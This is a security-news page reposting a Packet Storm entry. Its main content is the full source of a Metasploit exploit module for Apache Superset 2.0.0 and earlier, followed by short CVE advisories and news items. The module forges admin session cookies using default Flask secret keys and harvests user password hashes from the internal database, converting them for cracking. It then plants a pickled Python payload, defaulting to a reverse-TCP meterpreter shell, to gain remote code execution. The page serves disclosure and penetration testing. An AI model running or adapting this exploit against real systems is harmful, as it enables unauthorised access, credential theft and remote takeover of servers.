Security
Headlines
HeadlinesLatestCVEs

Headline

Apache Superset 2.0.0 Remote Code Execution

Apache Superset versions 2.0.0 and below utilize Flask with a known default secret key which is used to sign HTTP cookies. These cookies can therefore be forged. If a user is able to login to the site, they can decode the cookie, set their user_id to that of an administrator, and re-sign the cookie. This valid cookie can then be used to login as the targeted user. From there the Superset database is mounted, and credentials are pulled. A dashboard is then created. Lastly a pickled python payload can be set for that dashboard within Superset’s database which will trigger the remote code execution. An attempt to clean up ALL of the dashboard key values and reset them to their previous values happens during the cleanup phase.

Packet Storm
#sql#csrf#web#mac#apple#apache#js#git#rce#auth#webkit
### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote  Rank = GoodRanking  include Msf::Exploit::Remote::HttpClient  def initialize(info = {})    super(      update_info(        info,        'Name' => 'Apache Superset Signed Cookie RCE',        'Description' => %q{          Apache Superset versions <= 2.0.0 utilize Flask with a known default secret key which is used to sign HTTP cookies.          These cookies can therefore be forged. If a user is able to login to the site, they can decode the cookie, set their user_id to that          of an administrator, and re-sign the cookie. This valid cookie can then be used to login as the targeted user. From there the          Superset database is mounted, and credentials are pulled. A dashboard is then created. Lastly a pickled python payload can be          set for that dashboard within Superset's database which will trigger the RCE.          An attempt to clean up ALL of the dashboard key values and reset them to their previous values happens during the cleanup phase.        },        'License' => MSF_LICENSE,        'Author' => [          'h00die', # MSF module          'paradoxis', #  original flask-unsign tool          'Spencer McIntyre', # MSF flask-unsign library          'Naveen Sunkavally' # horizon3.ai writeup and cve discovery        ],        'References' => [          ['URL', 'https://github.com/Paradoxis/Flask-Unsign'],          ['URL', 'https://vulcan.io/blog/cve-2023-27524-in-apache-superset-what-you-need-to-know/'],          ['URL', 'https://www.horizon3.ai/cve-2023-27524-insecure-default-configuration-in-apache-superset-leads-to-remote-code-execution/'],          ['URL', 'https://www.horizon3.ai/apache-superset-part-ii-rce-credential-harvesting-and-more/'],          ['URL', 'https://github.com/horizon3ai/CVE-2023-27524/blob/main/CVE-2023-27524.py'],          ['EDB', '51447'],          ['CVE', '2023-27524'], # flask cookie          ['CVE', '2023-37941'], # rce          ['CVE', '2023-39265'] # mount superset's internal database        ],        'Platform' => ['python'],        'Privileged' => false,        'Arch' => ARCH_PYTHON,        'Targets' => [          [ 'Automatic Target', {}]        ],        'DefaultOptions' => {          'PAYLOAD' => 'python/meterpreter/reverse_tcp'        },        'DisclosureDate' => '2023-09-06',        'DefaultTarget' => 0,        'Notes' => {          'Stability' => [CRASH_SAFE],          'Reliability' => [REPEATABLE_SESSION],          'SideEffects' => [CONFIG_CHANGES],          'RelatedModules' => ['auxiliary/gather/apache_superset_cookie_sig_priv_esc']        }      )    )    register_options(      [        Opt::RPORT(8088),        OptString.new('USERNAME', [true, 'The username to authenticate as', nil]),        OptString.new('PASSWORD', [true, 'The password for the specified username', nil]),        OptInt.new('ADMIN_ID', [true, 'The ID of an admin account', 1]),        OptString.new('TARGETURI', [ true, 'Relative URI of Apache Superset installation', '/']),        OptPath.new('SECRET_KEYS_FILE', [          false, 'File containing secret keys to try, one per line',          File.join(Msf::Config.data_directory, 'wordlists', 'superset_secret_keys.txt')        ]),        OptString.new('DATABASE', [true, 'The superset database location', '/app/superset_home/superset.db'])      ]    )  end  def check    res = send_request_cgi!({      'uri' => normalize_uri(target_uri.path, 'login/')    })    return Exploit::CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil?    return Exploit::CheckCode::Unknown("#{peer} - Unexpected response code (#{res.code})") unless res.code == 200    return Exploit::CheckCode::Safe("#{peer} - Unexpected response, version_string not detected") unless res.body.include? 'version_string'    unless res.body =~ /"version_string": "([\d.]+)"/      return Exploit::CheckCode::Safe("#{peer} - Unexpected response, unable to determine version_string")    end    version = Rex::Version.new(Regexp.last_match(1))    if version < Rex::Version.new('2.0.1') && version >= Rex::Version.new('1.4.1')      Exploit::CheckCode::Appears("Apache Supset #{version} is vulnerable")    else      Exploit::CheckCode::Safe("Apache Supset #{version} is NOT vulnerable")    end  end  def get_secret_key(cookie)    File.open(datastore['SECRET_KEYS_FILE'], 'rb').each do |secret|      secret = secret.strip      vprint_status("#{peer} - Checking secret key: #{secret}")      unescaped_secret = Rex::Text.dehex(secret.gsub('\\', '\\').gsub('\\n', "\n").gsub('\\t', "\t"))      unless Msf::Exploit::Remote::HTTP::FlaskUnsign::Session.valid?(cookie, unescaped_secret)        vprint_bad("#{peer} - Incorrect secret key: #{secret}")        next      end      print_good("#{peer} - Found secret key: #{secret}")      return secret    end    nil  end  def validate_cookie(decoded_cookie, secret_key)    print_status("#{peer} - Attempting to resign with key: #{secret_key}")    encoded_cookie = Msf::Exploit::Remote::HTTP::FlaskUnsign::Session.sign(decoded_cookie, secret_key)    print_status("#{peer} - New signed cookie: #{encoded_cookie}")    cookie_jar.clear    res = send_request_cgi(      'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'me', '/'),      'cookie' => "session=#{encoded_cookie};",      'keep_cookies' => true    )    fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?    if res.code == 401      print_bad("#{peer} - Cookie not accepted")      return nil    end    data = res.get_json_document    print_good("#{peer} - Cookie validated to user: #{data['result']['username']}")    return encoded_cookie  end  def get_csrf_token    vprint_status('Grabbing CSRF token')    res = send_request_cgi!({      'uri' => normalize_uri(target_uri.path, 'login/'),      'keep_cookies' => true    })    fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?    fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response code (#{res.code})") unless res.code == 200    fail_with(Failure::NotFound, 'Unable to determine csrf token') unless res.body =~ /name="csrf_token" type="hidden" value="([\w.-]+)">/    @csrf_token = Regexp.last_match(1)    vprint_status("#{peer} - CSRF Token: #{@csrf_token}")  end  def login_and_priv_esc    get_csrf_token    print_status("#{peer} - Attempting login")    res = send_request_cgi({      'uri' => normalize_uri(target_uri.path, 'login/'),      'keep_cookies' => true,      'method' => 'POST',      'ctype' => 'application/x-www-form-urlencoded',      'vars_post' => {        'username' => datastore['USERNAME'],        'password' => datastore['PASSWORD'],        'csrf_token' => @csrf_token      }    })    fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?    fail_with(Failure::NoAccess, "#{peer} - Failed login") if res.body.include? 'Sign In'    cookie = res.get_cookies.to_s    print_good("#{peer} - Logged in Cookie: #{cookie}")    # get the cookie value and strip off anything else    cookie = cookie.split('=')[1].gsub(';', '')    secret_key = get_secret_key(cookie)    fail_with(Failure::NotFound, 'Unable to find secret key') if secret_key.nil?    decoded_cookie = Msf::Exploit::Remote::HTTP::FlaskUnsign::Session.decode(cookie)    decoded_cookie['user_id'] = datastore['ADMIN_ID']    print_status("#{peer} - Modified cookie: #{decoded_cookie}")    @admin_cookie = validate_cookie(decoded_cookie, secret_key)    fail_with(Failure::NoAccess, "#{peer} - Unable to sign cookie with a valid secret") if @admin_cookie.nil?  end  def set_query_latest_query_id    vprint_status('Setting latest query id')    @client_id = Rex::Text.rand_text_alphanumeric(8, 12)    data = Rex::MIME::Message.new    data.add_part('"' + @client_id + '"', nil, nil, 'form-data; name="latest_query_id"')    res = send_request_cgi(      'uri' => normalize_uri(target_uri.path, 'tabstateview', @tab_id),      'keep_cookies' => true,      'cookie' => "session=#{@admin_cookie};",      'method' => 'PUT',      'data' => data.to_s,      'headers' => {        'Accept' => 'application/json',        'X-CSRFToken' => @csrf_token      }    )    fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?    fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response code (#{res.code})") unless res.code == 200  end  def transform_hash(hash)    # Some background on transforming this hash:    # If we use python hashlib to generate the hash, it matches    # example output for password 'admin': $pbkdf2-sha256$260000$CXsb59tSLZm9ABBN$b3ebe68c694857464a5754a9ddd4ddadc9ff8bd093ab13d9d2496f7b81eb79e5    # hashlib: >>> pbkdf2_hmac('sha256', b'admin', b'CXsb59tSLZm9ABBN', our_app_iters).hex()    #                                                                            'b3ebe68c694857464a5754a9ddd4ddadc9ff8bd093ab13d9d2496f7b81eb79e5'    # however, JTR doesn't like this: No password hashes loaded (see FAQ)    # hashid also doesn't: [+] Unknown hash    # the basis of this is the hex() makes it 64 characters, and we need 43 characters to be a real hash    # https://hashcat.net/forum/thread-7715.html is the same issue    # the solution is to take the value, unhex it, base64 it, remove =, and sub '+' for '.'. This is the same for the salt, except for unhex.    # example output:     $pbkdf2-sha256$260000$CXsb59tSLZm9ABBN$b3ebe68c694857464a5754a9ddd4ddadc9ff8bd093ab13d9d2496f7b81eb79e5    # needs transform to: $pbkdf2-sha256$260000$Q1hzYjU5dFNMWm05QUJCTg$s.vmjGlIV0ZKV1Sp3dTdrcn/i9CTqxPZ0klve4HreeU    # to get there:                             salt: base64, remove =, sub '+' for '.'    # python code:                                    base64.b64encode(b'CXsb59tSLZm9ABBN').decode('utf8').replace('=','').replace('+','.')    # python output:                                  Q1hzYjU5dFNMWm05QUJCTg    # to get there:                                                    hash: unhex, base64, remove =, sub '+' for '.'    # python code:                                                     base64.b64encode(binascii.unhexlify(b'b3ebe68c694857464a5754a9ddd4ddadc9ff8bd093ab13d9d2496f7b81eb79e5')).decode('utf8').replace('=','').replace('+','.')    # python output:                                                   s.vmjGlIV0ZKV1Sp3dTdrcn/i9CTqxPZ0klve4HreeU    header = hash.split('$')[0] # contains algorithm, iterations    header = header.sub('pbkdf2:sha256:', '$pbkdf2-sha256$')    salt = hash.split('$')[1]    salt = Base64.strict_encode64(salt).delete('=').tr('+', '.')    hash = hash.split('$')[2]    hash = Base64.strict_encode64([hash].pack('H*')).delete('=').tr('+', '.')    jtr_password = [header, salt, hash].join('$')    jtr_password  end  def mount_internal_database    # use cve-2023-39265 bypass to mount superset's internal sqlite db    res = send_request_cgi(      'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'database/'),      'method' => 'POST',      'cookie' => "session=#{@admin_cookie};",      'keep_cookies' => true,      'ctype' => 'application/json',      'headers' => {        'Accept' => 'application/json',        'X-CSRFToken' => @csrf_token      },      'data' => {        'engine' => 'sqlite',        'configuration_method' => 'sqlalchemy_form',        'catalog' => [{ 'name' => '', 'value' => '' }],        'sqlalchemy_uri' => "sqlite+pysqlite:///#{datastore['DATABASE']}",        'expose_in_sqllab' => true,        'database_name' => Rex::Text.rand_text_alphanumeric(6, 12),        'allow_ctas' => true,        'allow_cvas' => true,        'allow_dml' => true,        'allow_multi_schema_metadata_fetch' => true,        'extra_json' => {          'cost_estimate_enabled' => true,          'allows_virtual_table_explore' => true        },        'extra' => {          'cost_estimate_enabled' => true,          'allows_virtual_table_explore' => true,          'metadata_params' => {},          'engine_params' => {},          'schemas_allowed_for_file_upload' => []        }.to_json      }.to_json    )    fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?    fail_with(Failure::UnexpectedReply, "#{peer} - Failed to mount the internal database: #{datastore['DATABASE']}") if res.code == 422    fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response code (#{res.code})") unless res.code == 201    j = res.get_json_document    @db_id = j['id']    fail_with(Failure::UnexpectedReply, "#{peer} - Unable to find 'id' field in response data: #{j}") if @db_id.nil?    print_good("Successfully created db mapping with id: #{@db_id}")    # create new query tab    vprint_status('Creating new sqllab tab')    data = Rex::MIME::Message.new    data.add_part('{"title":"' + Rex::Text.rand_text_alphanumeric(6, 12) + '","dbId":' + @db_id.to_s + ',"schema":null,"autorun":false,"sql":"SELECT ...","queryLimit":1000}', nil, nil, 'form-data; name="queryEditor"')    res = send_request_cgi(      'uri' => normalize_uri(target_uri.path, 'tabstateview/'),      'method' => 'POST',      'cookie' => "session=#{@admin_cookie};",      'keep_cookies' => true,      'ctype' => "multipart/form-data; boundary=#{data.bound}",      'headers' => {        'Accept' => 'application/json',        'X-CSRFToken' => @csrf_token      },      'data' => data.to_s    )    fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?    fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response code (#{res.code})") unless res.code == 200    j = res.get_json_document    @tab_id = j['id']    fail_with(Failure::UnexpectedReply, "#{peer} - Unable to find 'id' field in response data: #{j}") if @tab_id.nil?    print_good("Using tab: #{@tab_id}")    # tell it we're about to submit a new query    set_query_latest_query_id    # harvest creds    vprint_status('Harvesting superset user creds')    res = send_request_cgi(      'uri' => normalize_uri(target_uri.path, 'superset', 'sql_json/'),      'method' => 'POST',      'cookie' => "session=#{@admin_cookie};",      'keep_cookies' => true,      'ctype' => 'application/json',      'headers' => {        'Accept' => 'application/json',        'X-CSRFToken' => @csrf_token      },      'data' => {        'client_id' => @client_id,        'database_id' => @db_id,        'json' => true,        'runAsync' => false,        'schema' => 'main',        'sql' => 'SELECT username,password from ab_user;',        'sql_editor_id' => '1',        'tab' => 'Untitled Query 1',        'tmp_table_name' => '',        'select_as_cta' => false,        'ctas_method' => 'TABLE',        'queryLimit' => 1000,        'expand_data' => true      }.to_json    )    fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?    fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response code (#{res.code})") unless res.code == 200    creds_table = Rex::Text::Table.new(      'Header' => 'Superset Creds',      'Indent' => 2,      'Columns' =>      [        'Username',        'Password'      ]    )    j = res.get_json_document    j['data'].each do |cred|      jtr_password = transform_hash(cred['password'])      creds_table << [cred['username'], jtr_password]      create_credential({        workspace_id: myworkspace_id,        origin_type: :service,        module_fullname: fullname,        username: cred['username'],        private_type: :nonreplayable_hash,        jtr_format: Metasploit::Framework::Hashes.identify_hash(jtr_password),        private_data: jtr_password,        service_name: 'Apache Superset',        address: datastore['RHOST'],        port: datastore['RPORT'],        protocol: 'tcp',        status: Metasploit::Model::Login::Status::UNTRIED      })    end    print_good(creds_table.to_s)  end  def rce_implant    # create new dashboard    vprint_status('Creating new dashboard')    res = send_request_cgi(      'keep_cookies' => true,      'cookie' => "session=#{@admin_cookie};",      'uri' => normalize_uri(target_uri.path, 'dashboard', 'new/')    )    fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?    fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response code (#{res.code})") unless res.code == 302    res.headers['location'] =~ %r{dashboard/(\d+)/}    @dashboard_id = Regexp.last_match(1)    fail_with(Failure::UnexpectedReply, "#{peer} - Unable to detect dashboard ID from location header: #{res.headers['location']}") if @dashboard_id.nil?    print_good("New Dashboard id: #{@dashboard_id}")    # get permalink so we can trigger it later for payload execution    vprint_status('Grabbing permalink to new dashboard to trigger payload later')    res = send_request_cgi(      'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'dashboard', @dashboard_id, 'permalink'),      'method' => 'POST',      'cookie' => "session=#{@admin_cookie};",      'keep_cookies' => true,      'ctype' => 'application/json',      'headers' => {        'Accept' => 'application/json',        'X-CSRFToken' => @csrf_token      },      'data' => {        filterState: {},        urlParams: []      }.to_json    )    permalink_key = res.get_json_document['key']    print_good("Dashboard permalink key: #{permalink_key}")    # grab the default values so we can unset them later    vprint_status('Grabbing values to reset later')    set_query_latest_query_id    res = send_request_cgi(      'uri' => normalize_uri(target_uri.path, 'superset', 'sql_json/'),      'method' => 'POST',      'cookie' => "session=#{@admin_cookie};",      'keep_cookies' => true,      'ctype' => 'application/json',      'headers' => {        'Accept' => 'application/json',        'X-CSRFToken' => @csrf_token      },      'data' => {        'client_id' => @client_id,        'database_id' => @db_id,        'json' => true,        'runAsync' => false,        'schema' => 'main',        'sql' => "SELECT id,value from key_value where resource='dashboard_permalink';",        'sql_editor_id' => '1',        'tab' => 'Untitled Query 1',        'tmp_table_name' => '',        'select_as_cta' => false,        'ctas_method' => 'TABLE',        'queryLimit' => 1000,        'expand_data' => true      }.to_json    )    fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?    fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response code (#{res.code})") unless res.code == 200    # in the GUI we would get [bytes] (even in the JSON response) so this isn't very convenient. We can use the CSV    # output to grab the correct values.    res = send_request_cgi(      'uri' => normalize_uri(target_uri.path, 'superset', 'csv', @client_id),      'cookie' => "session=#{@admin_cookie};",      'keep_cookies' => true    )    fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?    fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response code (#{res.code})") unless res.code == 200    @values_to_reset = CSV.parse(res.body)    # tell it we're about to submit a new query    set_query_latest_query_id    pickled = Rex::Text.to_hex(Msf::Util::PythonDeserialization.payload(:py3_exec, payload.encoded))    pickled = pickled.gsub('\x', '') # we only need a beginning \x not every character for this format    vprint_status('Uploading payload')    res = send_request_cgi(      'uri' => normalize_uri(target_uri.path, 'superset', 'sql_json/'),      'method' => 'POST',      'cookie' => "session=#{@admin_cookie};",      'keep_cookies' => true,      'ctype' => 'application/json',      'headers' => {        'Accept' => 'application/json',        'X-CSRFToken' => @csrf_token      },      'data' => {        'client_id' => @client_id,        'database_id' => @db_id,        'json' => true,        'runAsync' => false,        'schema' => 'main',        'sql' => "UPDATE key_value set value=X'#{pickled}' where resource='dashboard_permalink';", # the dashboard ID doesn't necessarily correspond to the ID in this table, so we just have to overwrite them all        'sql_editor_id' => '1',        'tab' => 'Untitled Query 1',        'tmp_table_name' => '',        'select_as_cta' => false,        'ctas_method' => 'TABLE',        'queryLimit' => 1000,        'expand_data' => true      }.to_json    )    fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?    fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response code (#{res.code})") unless res.code == 200    print_status('Triggering payload')    res = send_request_cgi(      'keep_cookies' => true,      'cookie' => "session=#{@admin_cookie};",      'uri' => normalize_uri(target_uri.path, 'superset', 'dashboard', 'p', permalink_key, '/')    )    # we go through some permalink hell here    until res.nil? || res.headers['Location'].nil?      res = send_request_cgi(        'keep_cookies' => true,        'cookie' => "session=#{@admin_cookie};",        'uri' => res.headers['Location']      )    end    # 404 error and we win.    # log item: 172.17.0.1 - - [14/Sep/2023:17:37:25 +0000] "GET /superset/dashboard/p/MzABePa5XYd/ HTTP/1.1" 404 38 "-" "Mozilla/5.0 (iPad; CPU OS 16_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.5 Mobile/15E148 Safari/604.1"  end  def exploit    @db_id = nil    @csrf_token = nil    @tab_id = nil    @dashboard_id = nil    vprint_status('Attempting login')    login_and_priv_esc    vprint_status('Attempting to pull user creds from db')    mount_internal_database    vprint_status('Attempting RCE')    rce_implant  end  def cleanup    super    # We didn't know the previous values, so just blank out XXX    unless (@client_id.nil? || @csrf_token.nil? || @db_id.nil? || @values_to_reset.nil?)      print_status('Unsetting RCE Payloads')      @values_to_reset.each do |row|        next if row[0] == 'id' # headers        vprint_status("Restoring row ID #{row[0]}")        set_query_latest_query_id        is_binary = false        if (row[1].starts_with?("b'") && row[1].ends_with?("'"))          row[1] = row[1][2..-2] # remove encoding and substring marks          row[1] = Rex::Text.to_hex(row[1])          row[1] = row[1].gsub('\x', '') # we only need a beginning \x not every character for this format          is_binary = true        end        res = send_request_cgi(          'uri' => normalize_uri(target_uri.path, 'superset', 'sql_json/'),          'method' => 'POST',          'cookie' => "session=#{@admin_cookie};",          'keep_cookies' => true,          'ctype' => 'application/json',          'headers' => {            'Accept' => 'application/json',            'X-CSRFToken' => @csrf_token          },          'data' => {            'client_id' => @client_id,            'database_id' => @db_id,            'json' => true,            'runAsync' => false,            'schema' => 'main',            'sql' => "UPDATE key_value set value=#{is_binary ? 'X' : ''}'#{row[1]}' where id='#{row[0]}';",            'sql_editor_id' => '1',            'tab' => 'Untitled Query 1',            'tmp_table_name' => '',            'select_as_cta' => false,            'ctas_method' => 'TABLE',            'queryLimit' => 1000,            'expand_data' => true          }.to_json        )        if res && res.code == 200          vprint_good('Successfully restored')        else          vprint_bad("Unable to reset value: #{row[1]}")        end      end    end    # delete dashboard    unless @dashboard_id.nil?      print_status('Deleting dashboard')      send_request_cgi(        'keep_cookies' => true,        'cookie' => "session=#{@admin_cookie};",        'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'dashboard', @dashboard_id),        'method' => 'DELETE',        'headers' => {          'Accept' => 'application/json',          'X-CSRFToken' => @csrf_token        }      )    end    # delete sqllab tab    unless @tab_id.nil?      print_status('Deleting sqllab tab')      send_request_cgi(        'keep_cookies' => true,        'cookie' => "session=#{@admin_cookie};",        'uri' => normalize_uri(target_uri.path, 'tabstateview', @tab_id),        'method' => 'DELETE',        'headers' => {          'Accept' => 'application/json',          'X-CSRFToken' => @csrf_token        }      )    end    # delete mapping to stock database    unless @db_id.nil?      print_status('Deleting database mapping')      send_request_cgi(        'keep_cookies' => true,        'cookie' => "session=#{@admin_cookie};",        'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'database', @db_id),        'method' => 'DELETE',        'headers' => {          'Accept' => 'application/json',          'X-CSRFToken' => @csrf_token        }      )    end  endend

Related news

CISA Flags 6 Vulnerabilities - Apple, Apache, Adobe , D-Link, Joomla Under Attack

The U.S. Cybersecurity and Infrastructure Security Agency (CISA) has added six security flaws to its Known Exploited Vulnerabilities (KEV) catalog, citing evidence of active exploitation. This includes CVE-2023-27524 (CVSS score: 8.9), a high-severity vulnerability impacting the Apache Superset open-source data visualization software that could enable remote code execution.

Alert: Apache SuperSet Vulnerabilities Expose Servers to Remote Code Execution Attacks

Patches have been released to address two new security vulnerabilities in Apache SuperSet that could be exploited by an attacker to gain remote code execution on affected systems. The update (version 2.1.1) plugs CVE-2023-39265 and CVE-2023-37941, which make it possible to conduct nefarious actions once a bad actor is able to gain control of Superset’s metadata database. Outside of these

Alert: Apache SuperSet Vulnerabilities Expose Servers to Remote Code Execution Attacks

Patches have been released to address two new security vulnerabilities in Apache SuperSet that could be exploited by an attacker to gain remote code execution on affected systems. The update (version 2.1.1) plugs CVE-2023-39265 and CVE-2023-37941, which make it possible to conduct nefarious actions once a bad actor is able to gain control of Superset’s metadata database. Outside of these

GHSA-fm4q-j8g4-c9j4: Apache Superset Improper Input Validation vulnerability

Apache Superset would allow for SQLite database connections to be incorrectly registered when an attacker uses alternative driver names like sqlite+pysqlite or by using database imports. This could allow for unexpected file creation on Superset webservers. Additionally, if Apache Superset is using a SQLite database for its metadata (not advised for production use) it could result in more severe vulnerabilities related to confidentiality and integrity. This vulnerability exists in Apache Superset versions up to and including 2.1.0.

CVE-2023-39265

Apache Superset would allow for SQLite database connections to be incorrectly registered when an attacker uses alternative driver names like sqlite+pysqlite or by using database imports. This could allow for unexpected file creation on Superset webservers. Additionally, if Apache Superset is using a SQLite database for its metadata (not advised for production use) it could result in more severe vulnerabilities related to confidentiality and integrity. This vulnerability exists in Apache Superset versions up to and including 2.1.0.

Apache Superset Vulnerability: Insecure Default Configuration Exposes Servers to RCE Attacks

The maintainers of the Apache Superset open source data visualization software have released fixes to plug an insecure default configuration that could lead to remote code execution. The vulnerability, tracked as CVE-2023-27524 (CVSS score: 8.9), impacts versions up to and including 2.0.1 and relates to the use of a default SECRET_KEY that could be abused by attackers to authenticate and access

GHSA-5cx2-vq3h-x52c: Missing check for default SECRET_KEY

Session Validation attacks in Apache Superset versions up to and including 2.0.1. Installations that have not altered the default configured SECRET_KEY according to installation instructions allow for an attacker to authenticate and access unauthorized resources. This does not affect Superset administrators who have changed the default value for SECRET_KEY config.

CVE-2023-27524

Session Validation attacks in Apache Superset versions up to and including 2.0.1. Installations that have not altered the default configured SECRET_KEY according to installation instructions allow for an attacker to authenticate and access unauthorized resources. This does not affect Superset administrators who have changed the default value for SECRET_KEY config.

Packet Storm: Latest News

htmly 2.9.9 Cross Site Scripting